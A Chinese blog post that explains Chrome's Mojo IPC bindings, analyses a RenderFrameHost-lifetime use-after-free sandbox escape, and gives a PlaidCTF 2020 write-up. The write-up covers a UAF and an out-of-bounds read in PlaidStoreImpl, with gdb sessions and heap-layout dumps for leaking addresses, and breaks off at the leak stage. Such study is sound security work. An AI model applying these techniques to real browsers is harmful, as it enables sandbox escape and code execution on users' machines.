chrome sandbox escape case study and plaidctf2020 mojo writeup
mojo
Intro to Mojo & Services
mojo术语
message pipe是一对endpoints,对应通信的两端,每个endpoint保存一个传入消息队列,并且在一端写入消息可以有效地传送到另一端,因此message pipe是双向的。
一个mojom文件描述一组interfaces,其代表的是强类型的消息集合。
给定一个mojom接口和一条message pipe,可以将其中一端指定为Remote,用来发送该接口描述的消息,另一端指定为Recevier,用来接收接口的消息。
注意:上面的概括有点过于简化。请记住,消息管道仍然是双向的,mojom message有可能期望得到response,response是从Receiver端点发送的,并由Remote接收。
Receiver端必须和mojom接口的具体实现(implementation)相绑定,从而将收到的消息分发给对应的接口实现函数。
定义一个新的Frame Interface
假设我们想从render frame向其对应在browser进程里的RenderFrameHostImpl发送一个“Ping”消息,我们需要去定义一个mojom interface,创建一个pipe去使用这个interface,然后绑定好pipe的两端以发送和接收消息。
定义一个interface
第一步是去创建一个.mojom文件
1 | // src/example/public/mojom/ping_responder.mojom |
对应创建一个build rule去生成c++ bindings
1 | # src/example/public/mojom/BUILD.gn |
创建pipe
现在,让我们创建一个消息管道以使用此接口。通常,为了方便起见,在使用Mojo时,接口的client(即remote)通常是创建新pipe的一方。这很方便,因为可以使用Remote来立即发送消息,而无需等待InterfaceRequest端点被绑定到任何地方。
1 | // src/third_party/blink/example/public/ping_responder.h |
在此示例中,ping_responder是Remote,并且receiver是PendingReceiver,这是Receiver的前身。BindNewPipeAndPassReceiver是创建消息管道的最常见方法:它产生PendingReceiver作为返回值。
注意:一个PendingReceiver实际上不执行任何操作。它是单个消息管道端点的惰性持有者。它的存在只是为了使其端点在编译时具有更强的类型,这表明该端点希望被绑定到具体的接口类型。
发送message
最后,我们可以通过Remote调用我们的Ping()方法来发送消息:
1 | // src/third_party/blink/example/public/ping_responder.h |
重要说明:如果我们想接收response,则必须保持ping_responder对象处于活动状态直到OnPong被调用。毕竟,ping_responder拥有消息管道端点。如果它被销毁了,那么端点也将被销毁,将没有任何东西可以接收到响应消息。
我们快完成了!当然,如果一切都这么简单,那么该文档就不需要存在。我们已经解决了将消息从render进程发送到browser进程的难题,并将其转化为一个问题:
我们只要把上面的receiver object传递给browser进程,就可以让receiver来分发它收到的消息到具体的实现函数里。
发送PendingReceiver给Browser
值得注意的是,PendingReceivers(通常是消息管道端点)也是可以通过mojom消息自由发送的一种对象,将PendingReceiver放置在某处的最常见方法是将其作为方法参数传递给其他已经连接的接口。
将render里的RenderFrameImpl和其对应的RenderFrameHostImpl连接的interface是BrowserInterfaceBroker
这个interface是用来获取其他interface的factory,它的GetInterface方法接收一个GenericPendingReceiver(GenericPendingReceiver允许传递任意的interface receiver)
1 | interface BrowserInterfaceBroker { |
由于GenericPendingReceiver可以从任何PendingReceiver隐式构造,所以可以使用之前通过BindNewPipeAndPassReceiver创建的receiver来调用此方法:
1 | RenderFrame* my_frame = GetMyFrame(); |
这将传送PendingReceiver到browser进程里,并被BrowserInterfaceBroker接口的具体实现接收和处理。
实现interface
我们需要一个browser-side的PingResponder实现
1 |
|
RenderFrameHostImpl保存一个BrowserInterfaceBroker的实现,当此实现收到GetInterface方法调用时,它将调用先前为此特定接口注册的处理程序。
1 | // render_frame_host_impl.h |
我们完成了,此设置足以在renderer frame与其browser-side host之间建立新的接口连接!
假设我们在render中将ping_responder对象保持足够长的生命,我们最终将看到其OnPong回调将以参数4调用,如上面的browser端实现所定义。
Mojo Basics
Interfaces
同上,我们再看一组interface和它的impl
Mojo通过callback来返回result,即正常我们看到的是return一个返回值return_value,而mojo则是在最后调用callback(return_value)来返回result
1 | module math.mojom; |
Message Pipes
message pipe的两端已经在上面说过了,不再赘述
1 | // Wraps a message pipe endpoint for making remote calls. May only be used on |
总之,作为结论,对于某一个interface,sender A可以向receiver B进行任意数量的call,而B则可以针对A的每一次call发送一个response给A处理,这就体现出了一种有限的双向通信。
Message Pipes可以使用下述方法创建
mojo::Remote::BindNewPipeAndPassReceiver
当sender/caller创建endpoint时使用。保留一个endpoint以发送IPC消息,另一端点作为未绑定的mojo::PendingReceiver<T>
返回,以便receiver/callee绑定到mojo::Receiver<T>
1 | mojo::Remote<math::mojom::Math> remote_math; |
mojo::Receiver::BindNewPipeAndPassRemote
在receiver/callee创建端点时使用。保留一个端点以接收IPC,另一个端点作为未绑定的mojo::PendingRemote<T>
返回,以使sender/caller方绑定到mojo::Remote<T>
。
1 | class MathImpl : public math::mojom::MathImpl { |
mojo::PendingRemote::InitWithNewPipeAndPassReceiver
不太常见,类似于mojo::Remote<T>::BindNewPipeAndPassReceiver()
mojo::Remote/mojo::Receiver and mojo::PendingRemote/mojo::PendingReceiver
mojo::Remote<T>
和mojo::Receiver<T>
都有相应的未绑定版本:这允许在同一进程中的sequences之间,甚至在IPC上的进程之间传递端点。
1 | mojo::Remote<math::mojom::MathImpl> remote = ...; |
1 | mojo::Receiver<math::mojom::MathImpl> receiver = ...; |
这里的bind和unbind实际上是通过在receiver里保存一个bind state对象来维护的,具体的不叙,可以参考具体代码
Mojo C++ Bindings API
Getting Started
1 | //services/db/public/mojom/db.mojom |
你能在源码里包含上面生成的头文件,以使用其定义
1 |
|
本文档涵盖了Mojom IDL为C++使用者生成的各种定义,以及如何有效地使用它们,在消息管道之间进行通信。
Interfaces
Basic Usage
让我们看一下//sample/logger.mojom
里定义的简单的接口,以及client如何使用他们去log simple string message。
1 | module sample.mojom; |
通过binding generator将生成下面的定义
1 | namespace sample { |
Remote and PendingReceiver
Creating Interface Pipes
一种方法是手动创建pipe,并用强类型对象包装两端:
1 |
|
这很冗长,所以c++ binding库提供了更简便的方法来完成这件事。remote.h定义了BindNewPipeAndPassReceiver
1 | mojo::Remote<sample::mojom::Logger> logger; |
这个代码和之前的等价。
绑定PendingRemote<Logger>
后,我们可以立即开始在其上调用Logger接口方法,该方法将立即将消息写入管道。这些消息将在管道的receiver排队,直到有人绑定到receiver并开始读取它们为止。
1 | logger->Log("Hello!"); |
但是PendingReceiver<T>
本质上只是一个类型化的容器,用于容纳Remote<T>
管道的另一端(即接收端),直到将其绑定到接口的具体实现上。 PendingReceiver<T>
实际上除了保留管道端点并携带有用的编译时类型信息外,没有做任何其他事情。
因此该消息将永远存在于管道中。我们需要一种从管道的另一端读取消息并进行分发的方法。我们必须bind这个pending receiver
Binding a Pending Receiver
这有许多不同的helper类,用于binding message pipe的receiver端,其中最原始的是mojo::Receiver<T>
,mojo::Receiver<T>
将T的impl和单个的message pipe端点mojo::PendingReceiver<T>
绑定到一起,并监视是否有新消息发送过来。
每当bound pipe有新消息可读,Receiver都会安排一个task去读,反序列化消息并将其分发到其绑定的impl去。
下面是Logger接口的示例实现,注意,一般implement会own mojo::Receiver
字段,这是一种常见的模式。因为绑定的implement必须比绑定它的任何mojo::Receiver存活的更久
1 |
|
现在我们可以使用PendingReceiver<Logger>
来构造出一个LoggerImpl,LoggerImpl impl(std::move(receiver));
Receiving Responses
一些mojom接口需要response,我们修改Logger接口,从而获取最后一个Log行。
1 | module sample.mojom; |
现在生成的c++ interface是这样的
1 | namespace sample { |
和之前一样,此接口的client和implement对GetTail都使用相同的函数签名:implement使用callback参数去对请求进行响应,而client传递callback参数来异步接收响应,现在的implement是这样的:
1 | class LoggerImpl : public sample::mojom::Logger { |
现在client可以这样调用GetTail
1 | void OnGetTail(const std::string& message) { |
Sending Interfaces Over Interfaces
我们知道如何创建接口管道,并以一些有趣的方式使用它们的Remote和PendingReceiver端点。这仍然不构成有趣的IPC!Mojo IPC的主要功能是能够跨其他接口传输接口端点,因此让我们看一下如何实现这一点。
Sending Pending Receivers
考虑如下Mojom
1 | module db.mojom; |
pending_receiver<Table>
对应c++里的PendingReceiver<T>
类型,并且为这个mojom生成类似如下的代码:
1 | namespace db { |
其对应的implemention如下:
1 |
|
pending_receiver<Table>
参数对应的是一个强类型的message pipe handle,当DatabaseImpl接收到一个AddTable消息时,它构造一个新的TableImpl
实例,并且将其绑定到接收到的mojo::PendingReceiver<db::mojom::Table>
让我们看一下具体的用法
1 | mojo::Remote<db::mojom::Database> database; |
请注意,即使它们的mojo::PendingReceiver<db::mojom::Table>
端点仍在传输中,我们也可以立即立即开始使用新的Table管道。
Sending Remote
当然我们也可以发送Remotes
1 | interface TableListener { |
生成这样的代码
1 | virtual void AddListener(mojo::PendingRemote<TableListener> listener) = 0; |
使用起来是这样的
1 | mojo::PendingRemote<db::mojom::TableListener> listener; |
Other Interface Binding Types
Self-owned Receivers
self-owned的receiver作为一个独立的object存在,它拥有一个std::unique_ptr指向其绑定的interface implemention,并且在MessagePipe被关闭或者发生一些错误时,负责任的去delete implemention,所以其将一个interface implemention和MessagePipe绑定到了一起。
MakeSelfOwnedReceiver函数被用于创建这样的receiver
1 | class LoggerImpl : public sample::mojom::Logger { |
只要logger在系统中的某个位置保持open状态,在另一端绑定的LoggerImpl将存活。
Receiver Sets
在多个client共享同一个implement实例的时候使用。
1 | module system.mojom; |
如此我们就可以使用ReceiverSet去绑定多个Looger pending receiver到单个implement实例
1 | class LogManager : public system::mojom::LoggerProvider, |
Remote Sets
同理,有时维护一组Remotes很有用,例如一组观察某些事件的client。
1 | module db.mojom; |
Table的实现可能是这样的
1 | class TableImpl : public db::mojom::Table { |
Associated Interfaces
- 允许在message pipe上运行多个interface,同时保留message的顺序
- 使receiver可以从多个sequence访问单个message pipe
Mojom
引入新的类型pending_associated_remote和pending_associated_receiver在每个interface impl/client将使用相同的message pipe,通过传递associated remote/receiver进行通信1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16interface Bar {};
struct Qux {
pending_associated_remote<Bar> bar;
};
interface Foo {
// Uses associated remote.
PassBarRemote(pending_associated_remote<Bar> bar);
// Uses associated receiver.
PassBarReceiver(pending_associated_receiver<Bar> bar);
// Passes a struct with associated interface pointer.
PassQux(Qux qux);
// Uses associated interface pointer in callback.
AsyncGetBar() => (pending_associated_remote<Bar> bar);
};
Passing pending associated receivers
假设你已经有了一个Remote<Foo> foo
,你想要去call PassBarReceiver
,你可以这样:
1 | mojo::PendingAssociatedRemote<Bar> pending_bar; |
首先代码创建一个Bar类型的associated interface,和之前我们创建的不同在于,associated的两端(bar_receiver和pending_bar)之一,必须通过另一个interface发送,这就是接口和现有message pipe关联的方式。
应该注意的是,在传递bar_receiver之前不能调用bar->DoSomething()
,需要满足FIFO:
在接收方,当DoSomething调用的消息到达时,我们希望在处理任何后续消息之前将其分派到对应的AssociatedReceiver<Bar>
,如果bar_receiver在后续的消息里,那么消息调度就将陷入死锁。
另一方面,一旦发送了bar_receiver
,bar就可以使用,而无须等待bar_receiver绑定到具体的implemention。
上面的代码也可以写成这样,包一层语法糖
1 | mojo::AssociatedRemote<Bar> bar; |
Foo的impl实现如下:
1 | class FooImpl : public Foo { |
在这个例子里,bar_receiver_的生命周期和FooImpl息息相关,但是你不必这样做。
你可以将bar2传递到另一个序列,然后在那里绑定AssociatedReceiver<Bar>
。
Passing associated remotes
同理
1 | mojo::AssociatedReceiver<Bar> bar_receiver(some_bar_impl); |
1 | mojo::AssociatedReceiver<Bar> bar_receiver(some_bar_impl); |
Mojo JavaScript Bindings API
Getting Started
bindings API被定义在mojo namespace里,其实现在mojo_bindings.js
当bindings generator处理mojom IDL文件时,将会生成对应的mojom.js文件。
假设我们创建一个//services/echo/public/interfaces/echo.mojom
文件和//services/echo/public/interfaces/BUILD.gn
1 | module test.echo.mojom; |
1 | import("//mojo/public/tools/bindings/mojom.gni") |
通过构建如下生成target,来生成bindings。
- foo_js JavaScript bindings; 被用在compile-time dependency.
- foo_js_data_deps JavaScript bindings; 被用在run-time dependency.
如果我们编译这个target,这将生成几个source file
1 | ninja -C out/r services/echo/public/interfaces:interfaces_js |
其中与js binding相关的是
1 | out/gen/services/echo/public/interfaces/echo.mojom.js |
为了使用echo.mojom中的定义,您将需要使用<script>
标签在html页面中包括两个文件:
- mojo_bindings.js: 注意这个文件必须放在所有的
.mojom.js
文件之前。 - echo.mojom.js
1
2
3
4
5
6
7
8
9
10
<script src="URL/to/mojo_bindings.js"></script>
<script src="URL/to/echo.mojom.js"></script>
<script>
var echoPtr = new test.echo.mojom.EchoPtr();
var echoRequest = mojo.makeRequest(echoPtr);
// ...
</script>Interfaces
和C++ bindings API相同的是,我们有 mojo.InterfacePtrInfo
和mojo.InterfaceRequest
封装message pipe的两端,他们分别代表interface连接的client端和service端- 对于每个Mojom interface Foo,这也生成一个FooPtr类,它保存一个InterfacePtrInfo,提供了使用InterfacePtrInfo中的message pipe handle发送interface call的方法。
mojo.Binding
保存一个InterfaceRequest。 它侦听message pipe handle,并将传入的message分发到user-defined的interface实现。
让我们考虑上面的echo.mojom示例。下面显示了如何创建Echo interface connection和使用它进行call。
1 |
|
Interface Pointer and Request
在上面的示例中,test.echo.mojom.EchoPtr是一个interface pointer类,它代表interface connection的client。对于Echo Mojom接口中的方法EchoInteger,在EchoPtr中定义了相应的echoInteger方法(注意,生成的method name的格式为camelCaseWithLowerInitial,即小驼峰,第一个字母小写)
这就是实际生成的echo.mojom.js
在上面的实例中,echoServiceRequest是一个InterfaceRequest实例,它代表接口连接的server。
mojo.makeRequest创建一个message pipe,用pipe的一端填充output参数(可以是InterfacePtrInfo或interface pointer),返回包装在InterfaceRequest实例中的另一端。
1 | // |output| could be an interface pointer, InterfacePtrInfo or |
Binding an InterfaceRequest
mojo.Binding桥接了interface的实现和message pipe的一端,从而将传入的message从server端分派到该实现。
在上面的示例中,echoServiceBinding侦听message pipe上的传入的EchoInteger方法调用,并将这些调用分派到EchoImpl实例。
1 | // --------------------------------------------------------------------------- |
Receiving Responses
一些mojom接口期待response,例如EchoInteger,对应的js方法返回一个Promise,当service端发回响应时,此Promise将被resolve,如果interface断开连接,则将被reject。
async和await
1 | function resolveAfter2Seconds(x) { |
使用new Promise( function(resolve, reject) {...} /* executor */ );
来创建一个Promise对象,其参数executor是带有resolve和reject两个参数的函数 。
Promise构造函数执行时立即调用executor函数,resolve和reject两个函数作为参数传递给executor(executor函数在Promise构造函数返回所建promise实例对象前被调用)。resolve和reject函数被调用时,分别将promise的状态改为fulfilled(完成)或rejected(失败)。
如上resolveAfter2Seconds函数返回一个Promise对象,其将立刻调用setTimeout函数,并等待then一个函数,作为它的resolve来执行
例如
1 | resolveAfter2Seconds(10).then((x)=>{console.log(x)}) |
await可以等待Promise里的executor函数执行结束(阻塞),并返回其promise的fulfilled value,其实也就是作为参数传给resolve函数的那个值。
另外
1 | Promise.resolve('foo') |
所以如果let a = await Promise.resolve('foo')
,则a的值为’foo’
await一般和async一起用,如最前面的例子,只有f1函数里的被阻塞,而不影响f2函数执行,关于异步在这里不再多说,知道这些已经足够,另外一般的写法都是用了箭头函数,这里为了更好理解就改掉了。
case study: RenderFrameHost lifetime cause sandbox escape
这里我们通过一个简单的漏洞issue-1062091来学习chrome的对象生命周期造成的一类安全问题。
我们首先看一下造成这个漏洞的mojo接口的定义,在继续往下阅读之前,请仔细的理解前面我写的mojo的基础知识。
1 | // Represents a system application related to a particular web app. |
一个render进程里的RenderFrame,对应到browser进程里的一个RenderFrameHost。
打开一个新的tab,或者创建一个iframe的时候,都对应创建出一个新的RenderFrameHost对象,而在构造一个新的RenderFrameHost对象的时候,会使用RenderFrameHostImpl来初始化一个BrowserInterfaceBrokerImpl对象。
1 | //content/browser/renderer_host/render_frame_host_impl.h |
broker可以用来在render和browser之间通信,其bind来自renderer的interfaces requested到具体的mojo interface impl上,依据不同的ExecutionContextHost,最终调用的PopulateBinderMap不同,这里是使用的renderframehost,关于其他host,以后再深究。
1 | // content's implementation of the BrowserInterfaceBroker interface that binds |
通过map->Add
来向broker里注册适当的handlers回调,由于RenderFrameHostImpl里保存一个BrowserInterfaceBroker的实例,所以当此实现收到来自render的GetInterface方法调用时,它将调用这个回调,例如当通过bindinterface来请求调用一个interface的时候,
1 | void PopulateFrameBinders(RenderFrameHostImpl* host, |
我们看一下mojo接口的定义
所以最终从mojo调到的注册函数如下
1 | void RenderFrameHostImpl::CreateInstalledAppProvider( |
参数是RenderFrameHost和一个receiver,这里通过MakeSelfOwnedReceiver函数来创建一个self-owned的receiver,其作为一个独立的object存在,它拥有一个std::unique_ptr指向其绑定的interface implemention,并且在MessagePipe被关闭或者发生一些错误时,负责任的去delete implemention,所以其将一个interface implemention和MessagePipe绑定到了一起,具体实现参考这里。
这里我们只要知道InstalledAppProviderImpl和message pipe的生命周期绑定即可,只要message pipe还连接,其就一直存在
另外InstalledAppProviderImpl里保存一个render_frame_host_
对象,其来自传入的render_frame_host
指针,但是并没有通过任何方法来将InstalledAppProviderImpl和RenderFrameHost的生命周期绑定,一般来说会通过将Impl继承自WebObserver等来观察renderframehost的生命周期,当renderframehost析构的时候会通知Impl做出正确的处理,但这里没有。
1 | InstalledAppProviderImpl::InstalledAppProviderImpl( |
所以我们可以通过free iframe来释放掉对应的render_frame_host,而此时InstalledAppProviderImpl的实例依然存在,再通过FilterInstalledApps来再次use render_frame_host_
,而render_frame_host_->GetProcess()
是一个虚函数调用,通过占位render_frame_host来伪造虚函数表,我们就可以任意代码执行。
plaidctf2020 mojo writeup
root cause analysis
1 | // static |
1 | interface PlaidStore { |
这个题目里有两个漏洞
- UAF
这个题目里的UAF和我们上面分析的那个case如出一辙,都是同样的生命周期管理的问题,由于MakeSelfOwnedReceiver将PlaidStoreImpl实例和message pipe关联在一起,只要不断开则PlaidStoreImpl实例不会被析构。
而PlaidStoreImpl类保存了指向其所在render_frame_host的raw pointer,即render_frame_host_
,但是并没有将它们的生命周期绑定,即render_frame_host被析构,但PlaidStoreImpl实例仍然可以存在。
于是就可以通过在主frame里创建一个child iframe,然后在child iframe里将message pipe的remote端传给父frame,然后将child iframe从dom里移除,从而析构掉child iframe其对应的render_frame_host,但由于message pipe被传给了父frame,因此不会被断开,而此时render_frame_host已经被析构掉了。
所以我们可以通过父frame来通过child iframe里传过来的message pipe的remote端,来调用其StoreData/GetData触发UAF。
- OOB可以看出并没有约束count的大小,所以我们可以通过getData来越界读并返回读取的结果。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16void PlaidStoreImpl::GetData(
const std::string &key,
uint32_t count,
GetDataCallback callback) {
if (!render_frame_host_->IsRenderFrameLive()) { // use
std::move(callback).Run({});
return;
}
auto it = data_store_.find(key);
if (it == data_store_.end()) {
std::move(callback).Run({});
return;
}
std::vector<uint8_t> result(it->second.begin(), it->second.begin() + count);//oob
std::move(callback).Run(result);
}
debug
- 解压mojo题,在本地开启一个server
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16sakura@ubuntu:~/mojo$ ls
cc Dockerfile mojo_js.zip third_party
chrome extensions plaidstore.diff trigger.html
chrome_100_percent.pak flag_printer resources.pak ui
chrome_200_percent.pak gpu run.sh url
chrome.zip icudtl.dat server.py v8_context_snapshot.bin
components ipc services visit.sh
content locales skia
device media storage
devtools mojo swiftshader
...
...
sakura@ubuntu:~/mojo$ python3 -m http.serverServing HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [20/Sep/2020 08:37:21] "GET /trigger.html HTTP/1.1" 200 -
127.0.0.1 - - [20/Sep/2020 09:36:21] "GET /trigger.html HTTP/1.1" 200 -
127.0.0.1 - - [20/Sep/2020 09:36:28] "GET /trigger.html HTTP/1.1" 200 - - 启动chrome
1
sakura@ubuntu:~/mojo$ ./chrome --headless --disable-gpu --remote-debugging-port=1338 --user-data-dir=/tmp/noexist --enable-blink-features=MojoJS,MojoJSTest http://localhost:8000/trigger.html
- debug启动chrome
写一个debug.sh,注意因为我们要调试的是browser进程,所以要跟随parent。执行1
2
3file ./chrome
set args --headless --disable-gpu --remote-debugging-port=1338 --user-data-dir=/tmp/noexist --enable-blink-features=MojoJS,MojoJSTest http://localhost:8000/trigger.html
set follow-fork-mode parentgdb -x debug.sh
oob leak and gadget
1 | async function oob(){ |
1 | [0920/093628.390634:INFO:CONSOLE(178)] "oob", source: http://localhost:8000/trigger.html (178) |
可以看出我们leak出了一个很像地址的东西,那么我们可以调试一下我们到底可以越界读取到什么
- 首先我们可以看看创建PlaidStoreImpl的函数,并下一个断点,我们可以
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40gdb-peda$ info functions PlaidStoreImpl
All functions matching regular expression "PlaidStoreImpl":
Non-debugging symbols:
0x0000000003c58170 content::PlaidStoreImpl::~PlaidStoreImpl()
0x0000000003c58170 content::PlaidStoreImpl::~PlaidStoreImpl()
0x0000000003c58190 content::PlaidStoreImpl::~PlaidStoreImpl()
0x0000000003c581c0 content::PlaidStoreImpl::StoreData(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, std::__1::vector<unsigned char, std::__1::allocator<unsigned char> > const&)
0x0000000003c582b0 content::PlaidStoreImpl::GetData(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, unsigned int, base::OnceCallback<void (std::__1::vector<unsigned char, std::__1::allocator<unsigned char> > const&)>)
0x0000000003c58490 content::PlaidStoreImpl::Create(content::RenderFrameHost*, mojo::PendingReceiver<blink::mojom::PlaidStore>)
0x0000000003c58550 base::WeakPtr<mojo::StrongBinding<blink::mojom::PlaidStore> > mojo::MakeSelfOwnedReceiver<blink::mojom::PlaidStore, content::PlaidStoreImpl>(std::__1::unique_ptr<content::PlaidStoreImpl, std::__1::default_delete<content::PlaidStoreImpl> >, mojo::PendingReceiver<blink::mojom::PlaidStore>, scoped_refptr<base::SequencedTaskRunner>)
...
(gdb) b content::PlaidStoreImpl::Create
Breakpoint 1 at 0x3c58494
(gdb) r
...
=> 0x5555591ac494 <plaid_store_ptrPlaidStoreEEE+4>: push r15
0x5555591ac496 <plaid_store_ptrPlaidStoreEEE+6>: push r14
0x5555591ac498 <plaid_store_ptrPlaidStoreEEE+8>: push rbx
0x5555591ac499 <plaid_store_ptrPlaidStoreEEE+9>: sub rsp,0x38
0x5555591ac49d <plaid_store_ptrPlaidStoreEEE+13>: mov r14,rsi
0x5555591ac4a0 <plaid_store_ptrPlaidStoreEEE+16>: mov rbx,rdi
0x5555591ac4a3 <plaid_store_ptrPlaidStoreEEE+19>: mov edi,0x28 //从这里可以看出impl的大小是0x28
0x5555591ac4a8 <plaid_store_ptrPlaidStoreEEE+24>:
call 0x55555ac584b0 <_ZnwmRKSt9nothrow_t> //operator new(unsigned long, std::nothrow_t const&),注意这条语句执行完了之后的rax就是impl的地址,所以我会在知道了这个地址之后,直接finish这个函数,然后看最终的对象布局。
0x5555591ac4ad <plaid_store_ptrPlaidStoreEEE+29>:
lea rcx,[rip+0x635e2ec] # 0x55555f50a7a0 <_ZTVN7content14PlaidStoreImplE+16> //vtable for content::PlaidStoreImpl
0x5555591ac4b4 <plaid_store_ptrPlaidStoreEEE+36>: mov QWORD PTR [rax],rcx
0x5555591ac4b7 <plaid_store_ptrPlaidStoreEEE+39>:
mov QWORD PTR [rax+0x8],rbx
0x5555591ac4bb <plaid_store_ptrPlaidStoreEEE+43>: lea rcx,[rax+0x18]
0x5555591ac4bf <plaid_store_ptrPlaidStoreEEE+47>: xorps xmm0,xmm0
0x5555591ac4c2 <plaid_store_ptrPlaidStoreEEE+50>:
movups XMMWORD PTR [rax+0x18],xmm0
0x5555591ac4c6 <_ZN7content14PlaidStoreImpl6Crea
...
//在执行了call指令之后,返回的rax的值,就是plaidstoreimpl的地址
gdb-peda$ x/20gx 0x2dd26ed2ede0
0x2dd26ed2ede0: 0x000055555f50a7a0 //vtable 0x00002dd26ec42400 // render_frame_host_
0x2dd26ed2edf0: |map start| 0x00002dd26ed2edf8 0x0000000000000000
0x2dd26ed2ee00: 0x0000000000000000|map end| --> // data_store_ - 然后我们执行到storeData结束,看看此时data_store_这个map是怎么保存数据的。为了继续往下,我需要简要的描述一下map的内存布局,chrome里使用的std::map标准库实现在这里
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17gdb-peda$ x/20gx 0x00002dd26ed33870 //data_store_
0x2dd26ed33870: 0x0000000000000000 0x0000000000000000
0x2dd26ed33880: 0x00002dd26ed2edf8 0x000055555aba0101
0x2dd26ed33890: 0x0000000000616161//key1 0x0000000000000000
0x2dd26ed338a0: 0x0300000000000000 0x00002dd26ed2f0b0//value1
0x2dd26ed338b0: 0x00002dd26ed2f0c0 0x00002dd26ed2f0c0
0x2dd26ed338c0: 0xffffd22f00000001 0x0000000000000000
0x2dd26ed338d0: 0x0000000000000000 0x0000000000000000
0x2dd26ed338e0: 0x0000000000000000 0x0000000000000000
0x2dd26ed338f0: 0x00002dd26ed00000 0x00002dd26ec1c0c0
0x2dd26ed33900: 0x00002dd26ec1c0c0 0x0000000000000001
gdb-peda$ x/20gx 0x00002dd26ed2f0b0
0x2dd26ed2f0b0: 0x3837363534333231 0x4847464544434241
0x2dd26ed2f0c0: 0xffffd20000000001 0xfffffffd55553ec2
0x2dd26ed2f0d0: 0xffffd20000000001 0xfffffffd55553ec2
0x2dd26ed2f0e0: 0xffffd20000000001 0xfffffffd55553ec2
0x2dd26ed2f0f0: 0xffffd20000000001 0xfffffffd55553ec2其实只有一个字段,也就是保存了一个1
2
3
4
5
6
7
8
9
10template <class _Key, class _CP, class _Compare,
bool = is_empty<_Compare>::value && !__libcpp_is_final<_Compare>::value>
class __map_value_compare
: private _Compare
{
private:
...
typedef __tree<__value_type, __vc, __allocator_type> __base;
__base __tree_;
}__tree
类型的成员变量,其实这就是红黑树(rb tree)的实现,map其实是rb tree的一层wrapper,实际的插入删除等,都是在__tree
上完成的。
所以我们直接看__tree
的内存布局即可。其有三个成员变量,一个是指向起始tree_node的指针,其他两个字段用不到,也就不解释了。1
2
3
4
5
6
7template <class _Tp, class _Compare, class _Allocator>
class __tree
{
private:
__iter_pointer __begin_node_;
__compressed_pair<__end_node_t, __node_allocator> __pair1_;
__compressed_pair<size_type, value_compare> __pair3_;
那么我们现在就知道了,对于如下impl,其偏移0x10位置处就是保持着map的起始节点,而map是一颗rb tree,所以从这个节点我们就可以索引到其他所有插入的节点了。现在让我们看一下tree_node的具体内存布局1
2
3
4gdb-peda$ x/20gx 0x2dd26ed2ede0
0x2dd26ed2ede0: 0x000055555f50a7a0 //vtable 0x00002dd26ec42400 // render_frame_host_
0x2dd26ed2edf0: |map start| 0x00002dd26ed2edf8 0x0000000000000000
0x2dd26ed2ee00: 0x0000000000000000|map end| --> // data_store_所以对于一个tree_node,其保存的字段依次为,前四个大小是固定的,其整体大小依据1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59template <class _Pointer> class __tree_end_node;
template <class _VoidPtr> class __tree_node_base;
template <class _Tp, class _VoidPtr> class __tree_node;
...
// node
template <class _Pointer>
class __tree_end_node
{
public:
typedef _Pointer pointer;
pointer __left_;
_LIBCPP_INLINE_VISIBILITY
__tree_end_node() _NOEXCEPT : __left_() {}
};
template <class _VoidPtr>
class __tree_node_base
: public __tree_node_base_types<_VoidPtr>::__end_node_type
{
typedef __tree_node_base_types<_VoidPtr> _NodeBaseTypes;
public:
typedef typename _NodeBaseTypes::__node_base_pointer pointer;
typedef typename _NodeBaseTypes::__parent_pointer __parent_pointer;
pointer __right_;
__parent_pointer __parent_;
bool __is_black_;
_LIBCPP_INLINE_VISIBILITY
pointer __parent_unsafe() const { return static_cast<pointer>(__parent_);}
_LIBCPP_INLINE_VISIBILITY
void __set_parent(pointer __p) {
__parent_ = static_cast<__parent_pointer>(__p);
}
private:
~__tree_node_base() _LIBCPP_EQUAL_DELETE;
__tree_node_base(__tree_node_base const&) _LIBCPP_EQUAL_DELETE;
__tree_node_base& operator=(__tree_node_base const&) _LIBCPP_EQUAL_DELETE;
};
template <class _Tp, class _VoidPtr>
class __tree_node
: public __tree_node_base<_VoidPtr>
{
public:
typedef _Tp __node_value_type;
__node_value_type __value_;
private:
~__tree_node() _LIBCPP_EQUAL_DELETE;
__tree_node(__tree_node const&) _LIBCPP_EQUAL_DELETE;
__tree_node& operator=(__tree_node const&) _LIBCPP_EQUAL_DELETE;
};__node_value_type
的大小来决定,这个node_value_type实际上就是key-value这样一个pair对,在这里就是pair<string,vector<uint8_t>>
所以我们来看一下内存1
2
3
4
50x0 pointer __left_;
0x8 pointer __right_;
0x10 __parent_pointer __parent_;
0x18 bool __is_black_;
0x20 __node_value_type __value_;1
2
3
4
5//PlaidStoreImpl
gdb-peda$ x/20gx 0x00003268b2727f00
0x3268b2727f00: 0x000055555f50a7a0 0x00003268b2643400
0x3268b2727f10: 0x00003268b271a780//first tree node 0x00003268b271a780
0x3268b2727f20: 0x0000000000000001string的对象布局我没有看,不过我简单的解释一下这里为什么vector是这样的,因为其包括三个成员变量,首先是vector里元素的起始地址,然后是终止地址和容量。1
2
3
4
5
6
7
8
9
10
11
12gdb-peda$ x/20gx 0x00003268b271a780
0x3268b271a780: 0x0000000000000000 0x0000000000000000
0x3268b271a790: 0x00003268b2727f18 0x0000000000000001
0x3268b271a7a0: |0x0000000061616161 0x0000000000000000
0x3268b271a7b0: 0x0400000000000000|-->string | 0x00003268b2757ba0-->vector
0x3268b271a7c0: 0x00003268b2757bc8 0x00003268b2757bc8 |
...
// vector elements
gdb-peda$ x/20gx 0x00003268b2757ba0
0x3268b2757ba0: 0x3131313131313131 0x3131313131313131
0x3268b2757bb0: 0x3131313131313131 0x3131313131313131
0x3268b2757bc0: 0x3131313131313131 0x0000000000000000而此时我们的oob,也就是从vector的起始地址开始,可以越界读到后面的任意地址的值。1
2
3
4class __vector_base
pointer __begin_;
pointer __end_;
